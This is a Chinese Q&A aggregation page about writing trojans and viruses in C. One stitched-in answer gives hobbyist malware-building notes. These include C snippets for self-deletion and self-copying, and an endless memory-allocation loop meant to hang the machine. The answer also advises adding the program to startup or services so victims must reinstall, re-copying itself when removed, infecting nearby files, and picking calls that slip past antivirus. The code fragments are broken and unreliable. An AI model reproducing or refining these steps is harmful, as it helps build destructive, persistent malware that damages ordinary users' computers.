本文目录一览:
为什么c语言360说是木马病毒
C语言运行会修改内存,一般能修改内存的程序,防毒软件会比较敏感,在跳出来报毒窗口时添加信任
木马程序一般是用是语言编程的?谁能告诉我啊!!!!!!帮帮我啊???????他一般通过什么途径传播的???????谢谢了
一般用C,以几其它几种带C编号的!
还有就是用DELPHI!
至于NB的一般都用汇编!
木马谈不上什么传播,只能说被种了木马!
而传播一般来说就是病毒,病毒一般也是用C编写,而有些会伤硬件的木马如果C不行的话就要用汇编来写了!
至于病毒的传播,最快的莫过于互联网,当然也可以通过软件、光盘、U盘之类的移动介质!
linux,unix,windows,ios,安卓的病毒木马都可以用c语言来编写吗?
C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。 编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。 C语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。 如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具) 编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。 现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等
C语言可以用来做木马或是病毒吗
C语言可以的
你要是会汇编语言 你就知道了!
汇编几乎可以实现所有其他语言的能实现的功能
汇编可以编木马或是病毒代码,其他当然可以了
你要是学习怎么编写 木马或是病毒代码 最好去学习下汇编,
当然你学会汇编后,也许你就对木马或是病毒代码不感兴趣了。。。。 呵呵
我在学c语言,谁有木马程序?能给提供一下不?
Autorun的免疫程序可以防止inf再次被其他文件修改
利用外面的脚本语言给定的参数选择性运行程序的某种方案(例如.dos.shell.bat,autorun.inf......)
利用new,进程ID,read,write,和。。。。。
。利用把exe变成rc文件用vc打开import 你想要的应用程序 ico图标文件
领悟了一点
晚上回去补上
貌似改变当前程序运行的工作目录,就可以对自己进行自我删除????这就是传说中的自我销毁?待测试
#include stdio.h
#include direct.h
#include windows.h
#include string.h
int main(int argc,char *argv[])
char pwd[40]="del ";
chdir("c:\\");
strcat(pwd,argv[0]);
system(pwd);
return 0;
linux中有这么一句话:在进程运行过程中,当前目录所在的文件系统是不能卸载的,,,???如何理解??待解决?跟自我销毁有什么关系?
在linux中的这段代码红色部分不会执行,??为何?rm 到底 删除的是什么?
我们把中的rm改成其他命令下面的也不会运行 看来这是exec函数族 的 机制问题,待考证
#includestdio.h
#includeunistd.h
int main(int argc,char *argv[])
if( execlp("rm","rm",argv[0],NULL) 0)
perror("execlp error:");
else fprintf(stdout,"delmyself success!\n");
printf("del success\n");
return 0;
试验证明这段代码调试能过但运行会出错/ 显示。。。。。。test.exe拒绝访问据说可以利用多进程实现,在linux中是允许自我删除的,,就像linux中的守护进程
我们先用c实现 文件的自我复制功能:
[cpp] view plain copy
#includestdio.h
int main(int argc,char *argv[])
FILE *fp1,*fp2;
char buf[200];
int nmemb;
if((fp1 = fopen(argv[0],"rb")) == NULL)//注意这里是以二进制的方式
printf("source error\n");
return -1;
if((fp2 = fopen("dest.exe","wb")) == NULL)//注意这里是以二进制的方式
printf("dest error\n");
return -2;
while(( nmemb = fread(buf,1,100,fp1) ) != 0 )
fwrite(buf,1,nmemb,fp2);
fclose(fp1);
fclose(fp2);
return 0;
windows环境测试通过 linux环境 需要把dest.exe改下 就ok 真正的自我复制哦
若用open函数则会出现下列自动被识别为病毒文件了
用fopen的话
当对某个文件进行重新写入的时候,杀毒软件会以为他要感染其他文件 所以就会发出警报
杀毒软件杀不出来
若有改进 则马上那个更新
下面我们要实现 这个执行文件的破坏能力 那就是用
int *p;
while(1)
p = (int *)new(1000000);
设想:利用资源把exe文件当二进制文件引入,然后再在主执行文件中调用它,这样可以把捆绑在一起 程序 的分开 已经解决
病毒另一个特征是 感染,这个,得到本目录里的文件名然后重写?利用多进程,??,》?(修改其他文件会被nod32查出)
占用内存空间 导致机子完全死机,大家要记得利用c把这个文件复制到启动栏里去,或者写到服务里去让系统启动的时候自动加载他,这样非专业人士就救不了那电脑了,只有重装,可以写在其他盘里,然后做些处理,让运行时检查这个文件是否存在,不存在 则自我复制,,,,,
木马一般用什么语言编
编写木马程序的计算机语言有很多,比如,有C++、VB、易语言等;
木马(Trojan),也称木马病毒,是指通过特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是控制端,另一个是被控制端。
“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种主机的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种主机